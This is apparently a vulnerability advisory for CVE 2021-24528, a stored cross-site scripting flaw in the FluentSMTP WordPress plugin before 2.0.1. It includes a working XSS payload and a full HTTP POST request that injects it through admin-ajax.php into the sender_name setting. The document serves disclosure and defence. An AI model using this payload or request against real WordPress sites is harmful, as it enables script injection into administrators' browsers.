FluentSMTP < 2.0.1 – Authenticated Stored XSS | CVE 2021-24528

Description

The plugin does not sanitize parameters before storing the settings in the database, nor does the plugin escape the values before outputting them when viewing the SMTP settings set by this plugin, leading to a stored cross site scripting (XSS) vulnerability. Only users with roles capable of managing plugins can modify the plugin's settings.

Proof of Concept

PoC
------------------------------
connection[sender_name]=<s>here</s><img src=1 onerror=alert(/XSS/)>
------------------------------


Full Request PoC
------------------------------
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: */*
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://target.example.com:8000/wp-admin/options-general.php?page=fluent-mail
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 377
Origin: http://target.example.com:8000
DNT: 1
Connection: close
Cookie: [admin cookies]

connection%5Bsender_name%5D=%3Cs%3Ehere%3C%2Fs%3E%3Cimg+src%3D1+onerror%3Dalert(%2FXSS%2F)%3E&connection%5Bsender_email%5D=test%40example.com&connection%5Bforce_from_name%5D=no&connection%5Bforce_from_email%5D=yes&connection%5Breturn_path%5D=yes&connection%5Bkey_store%5D=db&connection%5Bprovider%5D=default&connection_key=false&action=fluentmail-post-settings&nonce=64447f740d
------------------------------